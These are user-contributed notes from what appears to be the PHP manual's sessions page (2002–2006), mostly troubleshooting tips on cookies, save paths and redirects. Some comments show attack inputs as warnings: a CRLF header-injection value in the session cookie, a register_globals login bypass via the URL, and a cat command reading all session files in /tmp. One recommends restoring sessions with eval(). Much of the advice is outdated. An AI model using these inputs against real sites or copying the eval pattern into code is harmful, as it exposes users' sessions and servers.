A 0.1% probability by default. Based on the information provided, I set my gc_probability to 100,  thus providing a 1% probability stale sessions would be culled.

Moral:your local php.ini may differ from what the manual provides.
jerry dot walsh at gmail dot com
24-Jan-2006 10:56
If you're using sharedance to distributed php sessions across a group of machines beware of the following:

On a freebsd 6.x system I have observed a huge performance hit caused by dns/host file lookups.

To ensure maximum performance using sharedance you should set the 'SESSION_HANDLER_HOST' constant to an IP rather than a hostname.

When i did this my requests per second jumped from 55 to 389 requests per second!
darkelf79 at gmail dot com
21-Jan-2006 07:00
If you set the session_id through the calling URL, it *will not* set the session cookie in 4.4.2.

For example:

www.example.com/?PHPSESSID=foo

This will set the session id to 'foo' but it won't actually set the session cookie. The last known version I'm aware of is 4.3.3 where it will set the cookie.

This doesn't appear to be definitively mentioned in here anywhere. But according to the devs, it's not a bug. Hopefully this knowledge will help you out if you're experiencing the same problem.
pascal.fr => gmail.com
20-Jan-2006 06:24
If you have saved an object in session, you must define the class of the object before the session_start().
If you don't do that, php will not know the class of the object, and his type will be "__PHP_Incomplete_Class".

This:
<?php
session_start();

class Foo{
   var $fooVar = 'Hello world !!!';
}

$myFoo = new Foo();
$_SESSION['myFoo'] = $myFoo;
echo 'Save in session';
?>
define the Foo class and save an instance  in session.

<?php
session_start();

echo '<pre>';
   print_r( $_SESSION ); // don't know the Foo class...
echo '</pre>';
?>

will print :

Array
(
   [myFoo] => __PHP_Incomplete_Class Object
       (
           [__PHP_Incomplete_Class_Name] => foo
           [fooVar] => Hello world !!!
       )

)
royappa at spiralfx dot com
17-Jan-2006 05:19
This is just to note that I was able to fix my problems due to the many helpful comments here.

The problem I was having was as follows:
a) I was dynamically generating a file to download
b) When the user clicked "Save" in MSIE, and then imported the download file into the application, all was well.
c) When the user clicked "Open" to directly import the file, the application would throw an error.

I believe what was happening is that the browser was not saving a local copy of the file due to the "no-store" directive, when the user clicks "Open" directly.

Therefore the examples above regarding pragma & cache-control were useful to resolving it.

Thanks for all the help. I just want to add also that the following web page was of great help to see the actual HTTP headers being sent by the web app: http://www.rexswain.com/httpview.html

Much easier than doing telnet to port 80! Hope this helps other also.

Andrew Royappa
Ravi Chotalia
27-Dec-2005 11:12
In answer to..
-PHP SESSIONS NOT WORKING in with windows---
...solution on the session cookie path.
I am running Apache 2 and PHP 4.4.0 on a Windows XP SP2.
...
----------------------------------

It was a small mistake in my directory stucture,

I have changed from c:\temp to c:\Temp as I had directory called "temp" not "Temp".Now session is working properly in my case.

Make sure directory name is same, in windows environment too.
marou at marou dot com
23-Dec-2005 12:49
In reponse to fondman at hotmail dot com with the 4.4.0 issue with local variables replacing session variables.

It also happens in 4.4.3.

I have a development environment set up with 5.0, and the production environment is 4.4.3.  I had set some local variables with the same name as one of my session variables.  It did the same thing you described on the production box, yet worked fine in development.

Just an FYI.
jazfresh at hotmail dot com
20-Dec-2005 10:55
The vanilla implementation of session will blindly spew back the value of the session_id that the user sends it after URL decoding it. This can be used as an attack vector, by including strings like "%0D%0ALocation:%20http://someothersite.com/%0D%0A" in the cookie. Never trust user input, always cleanse it. If you only expect alphanumerics in the session hash, reject any session_id that doesn't contain it.

<?php
if(!preg_match('#^[[:alnum:]]+$#', $_COOKIE['session_id'])) {
  unset($_COOKIE['session_id']);
}
session_start();
?>
bgshea at gmail dot com
05-Dec-2005 05:18
to johnlonely at gmail dot com

the sesion.cookie_path should be used for cookie security. The cookie_path is the path on the server for which the cookies are valid.

i.e. www.example.dom/mywepage/

if cookie_path="/mywebpage"

then

www.example.dom/someonespage/

will not have access to them. I use this parameter without problems.

I'm not saying that this will make cookies secure, but certainly others of www.example.dom will not have access to them.

However, if you have other directories say www.example.dom/niftystuff that you want the cookie to be valid for, then cookie_path needs to be "/".

This is better for servers that use the /~user/ user aliasing.
jodybrabec at yahoo dot com
30-Nov-2005 07:50
To stop PHPSESSID from appearing in the url, try inserting these two lines just before session_start() --
ini_set("url_rewriter.tags","");
ini_set(session.use_trans_sid, false);
djhoma at gmail dot com
26-Nov-2005 07:39
As the reference mentions the value of the register_globals variable can cause some problem if you use sessions for verification.
If GET variables are registered as global and you check whether the user is already logged in like this:
<?php
if ($_REQUEST['password'] == "right_password") {
$password = true;
session_register('password');
}
//...later on:
if ($password) {
//secure content
}
?>
Notice, that if you guess the name of the verification variable and pass it through the URL (index.php?password=true) and the register_globals is true then a script like this lets you in.
I know this is a stupid mistake, but maybe I am not the only one who made it...
So after you registered the $password var, you should check the login with session_is_registered() function:
<?php
if (session_is_registered('password')) {
//secure content
}
?>
This function cannot be fooled by GET or POST variables...

Hope it's a useful note!
jounier at ac-bordeaux dot fr
24-Nov-2005 05:35
It took me long to understand how the SID was passed when cookies are disabled, and session.use_trans_sid set to 1.
The doc says it passes through the URL, which is true, when there's no form in the page. In that case, you can see the SID in the URL.
If the page contains a form, PHP automaticaly adds a hidden field it uses to pass the SID by POST. In that case, the SID is invisible in the URL.
Hope it helps.
Bram
20-Nov-2005 12:39
I just noticed that it's possible to access the same session through multiple apache virtual hosts.
So keep this in mind when using sessions for anything sensitive, and make sure to encrypt the data (using the mcrypt functions for example, when available).
Lachlan Hunt
10-Nov-2005 10:10
> Note:  The arg_separator.output  php.ini directive allows to customize the argument seperator. For full XHTML conformance, specify &amp; there.

Exactly the same rule applies to HTML as well, there is abolutely no reason why this should not be set to &amp; by default.  The only difference is that in XHTML, XML error handling defines that it's a well formedness error.  For HTML, error handling was not so well defined nor sanely implemented and tag soup parsers just accept it, but that doesn't make it right.

arg_separator.output *MUST* be set to either of these if you're outputting either HTML or XML:

arg_separator.output = "&amp;"
arg_separator.output = ";"

http://www.w3.org/QA/2005/04/php-session
webmaster at vampirerave dot com
07-Nov-2005 03:27
If you want to receive the functionality of session.use_only_cookies but are using a PHP version prior to 4.3.0, here's an easy way:

if (isset($_GET['PHPSESSID'])) {
  exit;
}

This assumes:

session.name = PHPSESSID

Is set in /etc/php.ini
Armando Scribano armando at scribano dot com dot ar
26-Oct-2005 02:21
//PROTEC YOUR FILES . Double CHECK

User validation login
the basic operation

login.php
<?php
//f_login save a session with user and pass
$login = f_login($_REQUEST['usuario'],$_REQUEST['clave']);
//f_login return a encrypted value
if($login)
{
 $_SESSION['login_enc']=$login;
}else{
 //incorrect user or password.
}
?>

protected.php
<?php
//Protected page
//check

//1 CHECK. user and password
//return encrypted session
$enc_user = f_encuser($_SESSION['usuario'], $_SESSION['clave']);

//2 CHECK the last encrypted login and compare
if($_SESSION['login_enc']==$enc_user){
  // correct
}else{
 // incorrect
}
?>
christopher dot klein at ecw dot de
24-Oct-2005 02:26
If you have trouble with Internet Explorer 6 and non-working sessions (all session-data is lost after clicking on a link), please look user-hints for setcookie().
You have to add the following line after session_start() to get sessions working:

<?php
  // Initalize session
  session_start();
  // Send modified header
  header('P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"');
?>
lassial at hotmail dot com
23-Oct-2005 10:54
If you would like to ensure your sessions with referer checking you must use iniset() regularly, as

"session.referer_check contains the substring you want to check each HTTP Referer for"

so there is no way PHP can automatically know which URL you are expecting, e.g. it does not assume SCRIPT_NAME or anything else.

I had a serious problem when I tried to disable referer checking with session.referer_check = 0 which of course does not work
johnlonely at gmail dot com
12-Oct-2005 02:32
Everytime I upgrade PHP to a new version, I used to recompile the php.ini file. Everytime I create a website, I always kept the php.ini file so that in the future I would be able to retrieve some Unique properties of the php version I used. So the last php version I've seen where session is sticking is version 4.2. I've been trying for two days with no luck searching the manual and forum, when I tried something :

If you guys always fill the
session.cookie_path = /
to somewhere you the cookies should go, then leave the fuss. You'll save two days! Leave it be!

[Session]
session.cookie_path = /

Happy sticking sessions.
jmoore at sober dot dk
06-Oct-2005 10:54
The documentation says that sessions "may" be readable by other users on the system, but since it is so trivial to do, "are readable" is a more accurate statement.

For example, this will display the contents of all sessions:

<?php

  exec("cat /tmp/sess_*", $aOutput);
  print_r($aOutput);

?>

Note: Changing sessions to use a directory other than /tmp will be harder to find, but no more secure.
akoma at t3 dot rim dot or dot jp
19-Sep-2005 06:50
If your are using UTF-8, make sure your source
code editor to do not put the BOM mark
(unicode sign) at the top of your source code. so
it is sent before session_start() causing "headers
already sent" message on httpd error log.
vincent at bevort dot com
14-Sep-2005 08:26
---PHP SESSIONS NOT WORKING---
addition to fasteddie's solution on the session cookie path.
I am running Apache 2 and PHP 4.4.0 on a Windows XP SP2.

Had the same problem that the cookies are saved, in my case att c:\\tmp, but not recognized at reload of the page. The session.save_path must also be set to blank.
The cookies are stored in c:\\windows\\temp.
So if You do not have activated the garbage collector You can find them there for cleanup and error solving.
php at stevegiller dot co dot uk
08-Sep-2005 05:13
If you want prevent people directly setting, for example, a logged_in session variable to bypass your checks using the url?logged_in=true system, a quick trick is to try the line

if (isset($_GET['logged_in'])) { die("Are you trying to take the mickey?"); }

before you do anything else.
I've not tested this heavily, but I'd value any discussion of its merits and potential flaws ...
henry at teddystoo dot com
01-Sep-2005 09:57
Make sure HTTP_HOST matches the url you are using on the browser. (Fix the Apache ServerName setting).
Otherwise, after saving a completed session, the next page will start a new empty session!
fasteddie at byu dot edu not_this_part
17-Aug-2005 11:43
I hope this helps someone:
---PHP SESSIONS NOT WORKING---
My sessions wouldnt ever load from disk. The sessions would start just fine, and a session file would be created and written to disk. (BTW, I'm on a win XP box, Apache 2.0.54, PHP version 5.0.4.) However, next time I loaded the page, the old session would not be used. Instead, a NEW session was created. For me, this happened no matter what computer I was using, whether it was the server (localhost) or a client (remote). A new session was created EVERY TIME I loaded the page.. it was annoying. After a few hours of googling, I gave up and decided to mess around in the php.ini file. I changed this line:
session.cookie_path = /
to this:
session.cookie_path =

Now, php sessions are loaded properly.

I havent tried many things but I think maybe it is because windows needs backslashes (\) instead of forward slashes (/), and if you just leave it blank, it turns out ok.
jphansen at uga dot edu
09-Aug-2005 08:19
I found the easiest method of saving and restoring a user's session data was storing $_SESSION to a database:

<?
addslashes(var_export($_SESSION, TRUE))
?>

Then restoring it using eval():

<?
eval("\$_SESSION = $session;");
// $session = the first line of code above
?>

Without eval(), $_SESSION = $session would have resulted in $_SESSION being a string instead of an array.
artistan at cableone dot net
09-Aug-2005 01:29
I rewrote adodb's session management class to work across servers with database managed sessions.  Take a look at http://phplens.com/lens/lensforum/msgs.php?id=13428
Christian Boltz <php-manual at cboltz dot de>
28-Jul-2005 07:33
Another note about session.bug_compat_42 and bug_compat_warn.

[full error message:
   "Your script possibly relies on a session side-effect which existed
   until PHP 4.2.3. Please be advised that the session extension does
   not consider global variables as a source of data, unless
   register_globals is enabled. You can disable this functionality and
   this warning by setting session.bug_compat_42 or
   session.bug_compat_warn to off, respectively."
]

The following short script causes the bug_compat_42 warning to appear.

<?php
  session_start();
  $_SESSION['var'] = NULL;
  $var = "foo";
?>

It took me an hour to find out this :-(  - so I post it here to avoid
that more people need such a long time.

Conclusion and test results:

You'll get this warning if $_SESSION['var'] contains NULL and you assign
anything (except NULL) to the global variable $var.

The warning will _not_ appear:
- if $_SESSION['var'] contains anything else  - or -
- if you don't use a global variable named $var
cenaculo at netcabo dot pt
25-Jul-2005 03:09
A quick answer to jentulman at NOSPAM dot jentulman dot co dot uk about the redirecting problem with sessions:
Use session_write_close before redirection thus ensure session data is correctly saved before redirection.
It worked for me in all situations of redirection.
d43m0n at shaw dot ca
19-Jul-2005 04:19
Hello,

I posted earlyer about a issue/bug with Windows servers handling sessions. If you did not read it, it was based on the fact that if you can use ini_set to re-define the session.save_path to a relitive location. PHP will instead use it as the exact location with out looking at the directory where your script is bein execute, thus to say, the session file is not created, or re-read. This of course only occurs if you use <?php reregister_id() ?>. This function is told to open the requested session file, obtain the varibles, regenerate an id for that session, create the new session file and then send the cookie header to the client, of course I did not create this function, so it may not be in that order.

The following code will generate the error that I speak of, and will not successfully generate the new session id, of course like I said above, this only accours on PHP 5 & 5.0.4 under the Windows Environment.

<?php

  define("_PATH_TMP", "./tmp");
  ini_set('session.save_path', _PATH_TMP);
  session_start();
  $_SESSION['sid']['obsolete'] = session_id();
  session_regenerate_id();
  $_SESSION['sid']['replaced'] = session_id();
  print_r($_SESSION);

?>

(I know that PHP may use defined constants that include '_' characters at the beggining, if it has not already, but I am taking that chance atm...)

This can simply be resolved by using the following code:

<?php
  define("_PATH_TMP", dirname($_SERVER['SCRIPT_FILENAME']) . "/tmp");
  ini_set('session.save_path', _PATH_TMP);
  session_start();
  $_SESSION['sid']['obsolete'] = session_id();
  session_regenerate_id();
  $_SESSION['sid']['replaced'] = session_id();
  print_r($_SESSION);
?>

As you can see it uses the uses the servers environment to assurtain the exact location to the script, then locates the next root directory of it, and then allows you to define the tmp directory.

* Of course, you dont need to use a tmp directory, and this issue only occurse when using subdirectorys, I found that the following works just aswell, but this did not fit my needs!

<?php

  define("_PATH_TMP", "./");
  ini_set('session.save_path', _PATH_TMP);
  session_start();
  $_SESSION['sid']['obsolete'] = session_id();
  session_regenerate_id();
  $_SESSION['sid']['replaced'] = session_id();
  print_r($_SESSION);

?>
jphansen at uga dot edu
15-Jul-2005 01:10
If you name a variable the same name as a $_SESSION array and initialize it from a $_REQUEST variable, the $_SESSION array will assume that value, too.

Example:
<?
$_SESSION["alphabet"] = array('a', 'b', 'c');
var_dump($_SESSION["alphabet"]); // array(3) { [0]=> string(1) "a" [1]=> string(1) "b" [2]=> string(1) "c" }
$alphabet = $_REQUEST['bleh']; //null
var_dump($_SESSION["alphabet"]); // NULL
?>
jentulman at NOSPAM dot jentulman dot co dot uk
12-Jul-2005 04:40
Here's one for the 'session disapearing after a rediredt problem'. It's nice and simple but drove me mad for a couple of hours.
I was getting reports of users logging in apparently successfully but not actually being logged in and couldn't replicate it myself.
I had a configuration file called at the begining of my script setting defines for physical and url paths, and users with the problem were coming in on a domain alias so of course the login went fine, but then they were redirected to a different domain and the cookie was pointless.
Not very technical I know but maybe it'll stop someone having to headbang like I did.
gholyoak at courtdean dot com
22-Jun-2005 11:09
Problems with IE and Content Advisor.

It maybe obvious to some, but as its taken me over a week to sort this out, I will post it here.

If you have Content Advisor enabled in IE, it appears to quietly add an extra GET HTTP request to the root of your website.

This will get processed by your default document, so if your default document is index.php, every legitimate request will be immediately followed by another hit to index.php with a blank query string.

If you increment something in a session, it will be the second hit that has the highest value, but the browser is showing the results of the first GET.

Its easy to see, just add a mail('youremail@address.com') at the start of your default document, turn on content advisor and see how many emails you get !

I have generated a 'pics-label' and added to the META tags on every page and this appears to make IE happy.

You can get a pics-label at www.icra.org.

Hope this helps
ng4rrjanbiah at rediffmail dot com
19-Jun-2005 02:37
The note regarding url_rewriter.tags and XHTML conformity in the manual is bit confusing; it's applicable only when we use <fieldset> tags. Refer http://bugs.php.net/13472

HTH,
R. Rajesh Jeba Anbiah
nigelf at esp dot co dot uk
16-Jun-2005 07:52
Session data is not available to an object's __destruct method as sessions are closed before the object is 'destroyed'.
Richard [at] postamble [dot] [co] [uk]
14-Jun-2005 10:44
Having to use transparent on a system where trans_sid was not compiled, I came up with the folowing ob_start handler:
<?php
function ob_sid_rewrite($buffer){
   $replacements = array(
       '/<\s*(a|link|script)\s[^>]*(href|src)\s*=\s*"([^"]*)"/',
       '/<\s*(a|link|script)\s[^>]*(href|src)\s*=\s*\'([^\'<>]*)\'/',
       );

   $buffer = preg_replace_callback($replacements, "pa_sid_rewriter", $buffer);

   $buffer = preg_replace('/<form\s[^>]*>/',
       '\0<input type="hidden" name="' . session_name() . '" value="' . session_id() . '"/>', $buffer);

   return $buffer;
}

function pa_sid_rewriter($matches){
   $buf = $matches[0];
   $url = $matches[3];
   $url_orig=$url;
   if ($url[0]=='/' || $url[0]=='#' || preg_match('/^[A-Za-z0-9]*:/', $url))
       return $buf;

   $ses_name = session_name();
   if (strstr($url, "$session_name="))
       return $buf;

   $p = strpos($url, "#");
   $ref = false;
   if($p){
       $ref = substr($url, $p);
       $url = substr($url, 0, $p);
   }
   if (strlen($url)==0)
       return $buf;
   if (!strstr($url, "?"))
       $url.="?";
   else
       $url.="&amp;";
   $url.=session_name() ."=".session_id();
   if($ref)
       $url.=$ret;
   return str_replace($url_orig, $url, $buf);
}
?>

It adds a field to urls and a fake form entry.

You can start the rewrite by doing the folowing at the start of the script:
<?php
function pa_set_trans_sid(){
   if ( defined('SID') ){ // use trans sid as its available
       ini_set("session.use_cookies", "0");
       ini_set("session.use_trans_sid", "true");
       ini_set("url_rewriter.tags", "a=href,area=href,script=src,link=href,"
. "frame=src,input=src,form=fakeentry");
   }else{
       ob_start('ob_sid_rewrite');
   }
}
?>
budfroggy a.t. adminmod d.o.t org
27-May-2005 02:21
For those of you run into sess_deleted files in your temp session directory, and have users complaining that they cannot log off, the cause is almost always due to the user's system time being off. Make sure that the user properly sets his or her time, date and time zone.

As a side note, if two users have system times set in the past, and both log onto a system, they will share the same sess_deleted file, which means that their identities could very well be swapped, leading to possible security breachs. I am going to look into code that might forcefully prevent this form happening.
Carlos Aya
18-May-2005 06:29
An bug of my own zoo that was hard to catch with sessions.

This may save time to someone else:

// in some page, after session_start
$_SESSION[$var] = $someValue;
// my bug: $var was wrong, as it didn't contain a valid PHP identifier.
$_SESSION['flag'] = 'here'; // flag is a valid PHP identifier... but...
// then redirect to another page with session_id and everything else ok

. . .
// in next page after session_start()
count($_SESSION) == 0
// ! yes, it's empty, as $var was wrong, that stoped the whole
// $_SESSION array to be stored

hope this saves time to others.
frank723 AT gmail DOT com
03-May-2005 10:27
Here is a script a made to initialize global variables when both GET and SESSION variables are defined. This is common when SESSION variables retain information that is changed by a GET value. For example, when a user selects a style, the url is tagged with ?style=STYLETYPEONE, so $_SESSION['style'] should be set to the get. However, if no get is set then the session variable should remain what it was. If the session variable isnt set either, then it should be set to the default value of the variable.

Here is the code:

# a session helpful thing, start a session, with default session values
# if get for that var is set set the var to th get otherwise use session
session_start();
$ses_vars = array('var1'=>var1defaultvalue, # list of passed get vars
   'var2'=>var2defaultvalue,
   'var3'=>var3defaultvalue);
foreach ($ses_vars as $var=>$default) {
   if (!isset($_SESSION[$var])) $_SESSION[$var] = $default;
   if (!isset($_GET[$var])) ${$var} = $_SESSION[$var];
   else ${$var} = $_GET[$var];
}

-Frank
http://entelekheia.net
origami HAT cats.ucsc.edu
04-Apr-2005 06:57
Providing the enctype attribute of text/plain in a form tag causes the form submission to result in the _POST scope not being defined.
webmaster at paginadespud dot com
29-Mar-2005 01:10
hi all,
i've been troubles with sessions at my production server for weeks and today i've noticed the problem.

If you use /tmp as php sessions file dir, on a procuction server, system garbage will delete randomly files when a certain number os files are stored at tmp, so some sessions are deleted within 1 seconds, like my case.

Solution? use another dir for php sessions file, and be careful of using a shell script for your own garbage collection, called from cron, with this line:
cd /path/to/sessions; find -cmin +24 | xargs rm

Spud.
anders
02-Mar-2005 10:15
It's true that session variables are stored on-server, but for the server to know which session the user is using, a cookie is used. If you check your cookie cache, you'd see that the only session-related information you find in your cookie is a session id, no matter how much information you store in $_SESSION.
mat3582 at NOSPAM dot hotmail dot com
28-Feb-2005 06:36
Outputting a pdf file to a MSIE browser didn't work (MSIE mistook the file for an Active-X control,
then failed to download) untill I added
<?php
ini_set('session.cache_limiter',"0");
?>
to my script. I hope this will help someone else.
trev at beammeupnowplease dot com
04-Jan-2005 12:09
You can't turn off session.use_trans_sid on an individual script basis until PHP5.

However, if you use ini_set('url_rewriter.tags', ''); at the top of your script this will stop the SID being written to the URL's in PHP4.

Hopefully will save someone else a frustrating couple of hours.

Trev
jphansen at uga dot edu
23-Dec-2004 11:23
If you assign a session subscript/key to the same name as a variable, the session variable will be volatile and lost upon navigating.

For example, if passing a setting that you want in $_SESSION, don't do this:

<?
$setting = $_REQUEST['setting'];
if (!empty($setting))
   $_SESSION['setting'] = $setting;
?>

Instead, rename $setting or $_SESSION['setting'].
Xenon_54
20-Dec-2004 02:27
The session support does not use the IP address for validation. It is based on cookies and URL rewriting.

The reason you lose your session when closing your browser and reconnecting to your ISP (so you are changing your IP), is that sessions are only valides for the visit on your web site, not more.

Changing your IP address will not affect your session except if you close your browser.
Michael Wells
23-Nov-2004 01:04
If you are trying to share sessions across a cluster of servers, and don't want to use NFS, or a relatively heavy and slow RDBMS, there is an excellent tool called ShareDance that can do it over a simple TCP protocol. ShareDance comes complete with a PHP interface example and works 'out of the box' for me.

http://sharedance.pureftpd.org/

My thanks to Frank Denis for writing this elegant, valuable piece of software.
Audun Rundberg
15-Nov-2004 12:50
If you're using header('Location:' . $url) to redirect the user to another page, you should use session_write_close() to save session data before the redirect. $_SESSION is normally serialized and written to the harddrive when the script ends.

Example:

<?php

$_SESSION["Message"] = "The task was completed.";
session_write_close();
header('Location:' . $_SERVER["PHP_SELF"]);

?>

Without session_write_close(), this next piece of code would not output "The task was completed". (Assuming that this code is in place where the user was redirected.)

<?php

echo $_SESSION["Message"];

?>
irm at in3activa dot com
14-Sep-2004 02:57
Warnings :
session.bug_compat_42 and bug_compat_warn

Warnings may appears even if your code is correct,
because some asumptions of the developpers.

In practice, these warnings are automatic when your code results in something like:

$_SESSION['var']= NULL;

That is, the code assume that the programmer tried
to assign a unavailable (=NULL) variable because
register_globals is off.

Solution: assign anything but NULL. For example:

$_SESSION['var']= is_null($var) ? 0 : $var;
cryogen AT mac dot com
10-Sep-2004 08:02
Although this IS mentioned in the PHP manual, it is not very clear and can lead to some very hard to track down bugs.

When REGISTER_GLOBALS is ON on a server, local variables of the same name as a session variable can leak their values into the session during a POST or GET.

For example, if you run script "SESS_TEST1.PHP" below, the local var $animal will bleed its value of "I am an Elephant" into the session variable $_SESSION['animal'], which should have a value of "I am a Monkey".  Beware!

<?php
// SESS_TEST1.PHP
session_start();
$_SESSION['animal'] = 'I am a Monkey';
$animal = 'I am an Elephant';
$value = 249;

echo "<script>window.location=\"sess_test2.php".
  "?animal=$animal&value=$value\"</script>";
?>

<?php
// SESS_TEST2.PHP
session_start();
$animal = $_REQUEST['animal'];
$value  = $_REQUEST['value'];

echo "SESSION['animal'] = ".$_SESSION['animal']." (should say \"I am a Monkey\")<br/>";
echo "\$animal = ".$animal."<br/>";
echo "\$value = ".$value."<br/>";
?>
Dopey
03-Sep-2004 02:06
Be careful when using the Content-Length header with session.use_trans_sid enabled. Technically, it might not be a bug, but PHP does not update the header when it adds the session ID to links in a page. The result is that only partial content is shown in a browser.

In short: if you use ob_get_length to figure out Content-Length, turn session.use_trans_sid off!
root[noSPAM]cyberdark.net
17-Aug-2004 11:55
A common problem with session.auto_start, when activated in php.ini file, is the fact that if you've php objects inside the session classes must be loaded before session in started. You'll run into trouble then...

To avoid this, if you cannot ask your sysadmin to modify the php.ini file, add this line to your .htaccess wherever you need it in your application (usually on top of your app):

php_value session.auto_start 0
bcage at tecdigital dot net
24-Jun-2004 04:24
[Quote]
Someone posted a message here saying you should just all use the MM shared memory management for sessions.  I'd like to CAUTION EVERYONE against using it!

I run a few webservers for a webhosting company, and we quickly ran in to PHP pages segfaulting Apache for unknown reasons, until we did a test with sessions.  It turns out that the sessions, while using the mm stuff, couldn't keep the data right.  I guess it was to do with the file locking issue mentioned in the documentation here (I didn't notice this until now!).

 Anyways, if you run a Unix machine that can map virtual memory to a mount point (like tmpfs or shm or whatever it may be called), use this instead.  It's volatile like mm, but works.  Only thing you don't get is hidden session info so that other people don't know how to open it easily - but it's better than trying to use mm and having the webserver crash all the time!

[EndQuote]

You're totally right, in my server (FreeBSD 5.2) when using mm to handle sessions, dotProject wouldn't even start, it crashed when accessing index.php. This was solved by creating a swap-backed memory disk with the following options

rw,-s60000,,-b=4096,-f=512,-i=560,-c=3,-m=0,nosuid,nodev,nosymfollow
schulze at telstra dot com dot not dot this dot bit
06-Jun-2004 07:10
sessions not sticking and cookies not setting with IE? took me ages to find the problem.

you need a 'compact privacy policy'! it's not hard once you know how!

this was too much for me: http://www.w3.org/TR/P3P/

but http://www.sitepoint.com/article/p3p-cookies-ie6/2 is very easy to apply

and a visit to this site is very worthwhile: http://www.privacycouncil.com/freep3pfix.php

happy PHP to all!

Erich
Osmos
09-May-2004 09:13
Note to the massage from "setec at freemail dot it" (01-Mar-2004 01:41).

For more flexibility I suggest replacing the string

<?php
_safe_set ($parse_url["scheme"], "http");
?>

with the following one:

<?php
_safe_set ($parse_url["scheme"], $_SERVER["HTTPS"] ? "https" : "http");
?>
Afternoon
05-May-2004 03:28
I found a good solution to create a persistent session by storing a persistence flag, ironically, in the session itelf. I start the session (which sends a Set-Cookie with no expiry time), read the flag and then, if the user wants a persistent session, stop and restart the session with the expiry time set using session_set_cookie_params, which then sends a cookie with a good expiry time. This solution has been quickly tested with all major browsers and seems to work.

I have outlined the whole process in my blog: http://aftnn.org/journal/508
Rikahs Design
14-Apr-2004 03:10
When setting url_rewriter.tags parameter in php.ini, make sure that you put quotes around the string portion like this:

url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"

or the PHP won't know what tags to insert the session id into.  My web host has a relatively current version of PHP and they still didn't have this parameter configured by default.
setec at freemail dot it
02-Mar-2004 05:41
This is a usefull code I have done that allows to make a redirection using headers with full support for sessions and HTTP 1.1.

<?php
   function session_redirect ($url = "")
   {
       function _safe_set (&$var_true, $var_false = "")
       {
           if (!isset ($var_true))
           { $var_true = $var_false; }
       }

       $parse_url = parse_url ($url);
       _safe_set ($parse_url["scheme"], "http");
       _safe_set ($parse_url["host"], $_SERVER['HTTP_HOST']);
       _safe_set ($parse_url["path"], "");
       _safe_set ($parse_url["query"], "");
       _safe_set ($parse_url["fragment"], "");

       if (substr ($parse_url["path"], 0, 1) != "/")
       {
           $parse_url["path"] = dirname ($_SERVER['PHP_SELF']) .
                           "/" . $parse_url["path"];
       }

       if ($parse_url["query"] != "")
       { $parse_url["query"] = $parse_url["query"] . "&amp;"; }
       $parse_url["query"] = "?" . $parse_url["query"] .
                         session_name () . "=" .
                       strip_tags (session_id ());

       if ($parse_url["fragment"] != "")
       { $parse_url["fragment"] = "#" . $parse_url["fragment"]; }

       $url = $parse_url["scheme"] . "://" . $parse_url["host"] .
             $parse_url["path"] . $parse_url["query"] .
             $parse_url["fragment"];

       session_write_close ();
       header ("Location: " . $url);
       exit;
   }
?>
gzink at zinkconsulting dot com
03-Dec-2003 06:57
[Editors note: I've just benchmarked this, and over a 100 element array the results are as follows: (average over 10 runs)

Standard Array: 0.102ms
$_SESSION: 0.197

This is in the extremely unlikely case of having to loop through 100 elements in a session variable. Remember, if you have that many elements in your session, something is wrong.]

A small warning! $_SESSION can be slooowwwww....

I've never heard of this, but it turns out $_SESSION is much slower than any regular array, even an exact copy of $_SESSION. Copying large amounts of data in/out of $_SESSION is seriously slow and each access to $_SESSION is noticeably slower than regular arrays.

The lesson I learned? Don't use $_SESSION in loops that run very much. Even copying data from $_SESSION before the loop won't help a lot if there's a lot of data there due to a delay that can be pretty hefty, almost equal to working directly on $_SESSION with foreach() and actually slower than working directly on $_SESSION if you need to put the data back in the array in my experience. It's better to pass the data another way if possible, i.e. save the SQL query and re-run, store in a database, etc.

Just a warning for those who may be using this array in medium to large loops or trying to pass lots of data. I hope it saves you the hours of optimizing I've had to spend!

-Galen
http://www.zinkconsulting.com/
pautzomat at web dot de
20-Nov-2003 04:05
Be aware of the fact that absolute URLs are NOT automatically rewritten to contain the SID.

Of course, it says so in the documentation ('Passing the Session Id') and of course it makes perfectly sense to have that restriction, but here's what happened to me:
I have been using sessions for quite a while without problems. When I used a global configuration file to be included in all my scripts, it contained a line like this:

$sHomeDirectory = 'http://my.server.com/one/of/my/projects'

which was used to make sure that all automatically generated links had the right prefix (just like $cfg['PmaAbsoluteUri'] works in phpMyAdmin). After introducing that variable, no link would pass the SID anymore, causing every script to return to the login page. It took me hours (!!) to recognize that this wasn't a bug in my code or some misconfiguration in php.ini and then still some more time to find out what it was. The above restriction had completely slipped from my mind (if it ever was there...)

Skipping the 'http:' did the job.

OK, it was my own mistake, of course, but it just shows you how easily one can sabotage his own work for hours... Just don't do it ;)
orion at dr-alliance dot com
09-Aug-2003 06:52
Session ID's wont be carried over through meta refreshes, so make sure you add the variables (in GET format) to the URL.
IE )
<meta http-equiv=\"refresh\" content=\"1;URL=index.php?PHPSESSID=$PHPSESSID\">
tim at digicol dot de
05-Feb-2003 02:14
Be careful when using ini_set to change the  session.gc_maxlifetime value locally for your script:

You will trash other people's sessions when garbage collection takes place (and they will trash yours) regardless of their (your) intended session.gc_maxlifetime, because the session_name is not taken into account during garbage collection.

Create an own directory and set session.save_path to it, so that your session files don't get mixed.
jmgonzal_NOSPAM_at_NOESPAM_netred_DOT_cl
13-Oct-2002 06:43
If you have problem to download a file from your PHP , and you have IE (any version) and apache for server with SSL, check the reference of: session-cache-limiter

My best solution is change the php.ini from

session.cache_limiter = nocache

to:

session.cache_limiter = private, must-revalidate
twocandles3000@hotmail
15-May-2002 02:34
Storing class instances in session.

As long as a class MUST be declared BEFORE the session starts and unserializes the session info, i'm using this approach.

0: Set in php.ini session.auto_start = 0
1: create myclass.inc where the class is declared.
2: put in another file, say header.inc, this lines of code:
include_once( "myclass.inc" );
session_start();
3: set in php.ini the auto_prepend_file= "path_to_my_file/header.inc"

Following this steps, the session is started at every page and myclass is always available, avoiding to write the session_start() function at every page.
stoiev at ig dot com
21-Mar-2002 01:10
Carefull when you are working in PHP with WML. The arg separator used to put de PHPSESSID variable in URL is '&' by default, and this cause a Compile Error in browsers:

<anchor><go href="index.php?estate=1&PHPSESSID=12345678abcde"></go>

instead of this:

<anchor><go href="index.php?estate=1&#38;PHPSESSID=12345678abcde"></go>

Its safety include the line:
ini_set ( "arg_separator", "&#38;");

to change the arg separator, it worked in PHP 4.1.2

Another thing that the onpick tag is not defined in the url_rewriter.tags list by default(if there are others, i dont now). This is must be added in php.ini file.

